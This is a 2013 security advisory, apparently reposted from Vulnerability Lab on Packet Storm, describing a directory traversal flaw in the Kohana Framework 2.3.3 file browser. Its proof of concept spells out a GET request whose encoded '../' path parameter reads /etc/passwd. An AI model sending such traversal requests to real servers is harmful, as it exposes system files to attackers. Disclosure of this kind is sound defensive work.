Kohana Framework 2.3.3 Directory Traversal

2013-01-28T00:00:00
ID PACKETSTORM:119870
Type packetstorm
Reporter Karim H.B.
Modified 2013-01-28T00:00:00

Description

                                        
                                            `Title:  
======  
Kohana Framework v2.3.3 - Directory Traversal Vulnerability  
  
  
Date:  
=====  
2013-01-27  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=841  
  
  
VL-ID:  
=====  
837  
  
  
Common Vulnerability Scoring System:  
====================================  
7.1  
  
  
Introduction:  
=============  
Kohana is an open source, object oriented MVC web framework built using PHP5 by a team of volunteers that aims to be   
swift, secure, and small. (copy from vendor website) This is an OOP framework that is extremely DRY. Everything is built   
using strict PHP 5 classes and objects. Many common components are included: translation tools, database access, code   
profiling, encryption, validation, and more.  
  
Extending existing components and adding new libraries is very easy. Uses the BSD license, so you can use and modify it for   
commercial purposes. Benchmarking a framework is hard and rarely reflects the real world, but Kohana is very efficient and   
carefully optimized for real world usage. Very well commented code and a simple routing structure makes it easy to understand   
what is happening. Simple and effective tools help identify and solve performance issues quickly.  
  
(Copy of the Vendor Homepage: http://kohanaframework.org/ )  
  
  
  
Abstract:  
=========  
The Vulnerability Laboratory Research Team discovered a Directory Traversal web vulnerability in the Kohana v2.3.3 Content Management System.  
  
  
Report-Timeline:  
================  
2013-01-27: Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
Kohana  
Product: Framework - Content Management System 2.3.3  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
High  
  
  
Details:  
========  
A Directory Traversal web vulnerability is detected in the Kohana Content Management System web application.  
The vulnerability allows remote attackers to request local directories and files of the web server application system.  
  
The vulnerability is located in the `master/classes/Kohana/Filebrowser.php` file in line 90 when processing to request   
the path dir via replace. The filter replaces `../` by null and it applies on file reading requests.   
  
Review: Kohana/Filebrowser.php  
  
$thumb = Route::get('wysiwyg/filebrowser')  
->uri(array(  
'action' => 'thumb',  
'path' => str_replace(array($dir, DIRECTORY_SEPARATOR), array('', '/'), $filename)  
));  
  
Remote attackers can bypass the validation with the vulnerable replace function in the file browser to read local   
web server files via directory (path) traversal attack.  
  
Exploitaton of the vulnerability requires no privileged application user account and no user interaction.  
Successful exploitation of the vulnerability results in read of arbitrary system files to compromise web server.  
  
Vulnerable Module(s):  
[+] Filebrowser  
  
Vulnerable Function(s):  
[+] str_replace > dir  
  
Vulnerable Parameter(s):   
[+] ?path  
  
  
Proof of Concept:  
=================  
The vulnerability can be exploited by remote attackers without privileged application user account and without required user interaction.  
For demonstration or reproduce ...  
  
Review: Kohana/Filebrowser.php  
  
$thumb = Route::get('wysiwyg/filebrowser')  
->uri(array(  
'action' => 'thumb',  
'path' => str_replace(array($dir, DIRECTORY_SEPARATOR), array('', '/'), $filename)  
));  
  
  
Review: GET Request  
GET http://media.[server].com/directory/graphics/?path=..%2F..%2F..%2F%2F..%2F..  
%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F%2Fetc%2Fpasswd   
HTTP/1.0  
Host: media.[server].com  
User-Agent: Kami VL  
  
  
PoC:   
http://media.[server].com/directory/graphics/?path=..%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F%2Fetc%2Fpasswd   
  
  
Risk:  
=====  
The security risk of the directory traversal web vulnerability is estimated as high(+).  
  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Karim B. (kami@vulnerability-lab.com)  
  
  
Disclaimer:  
===========  
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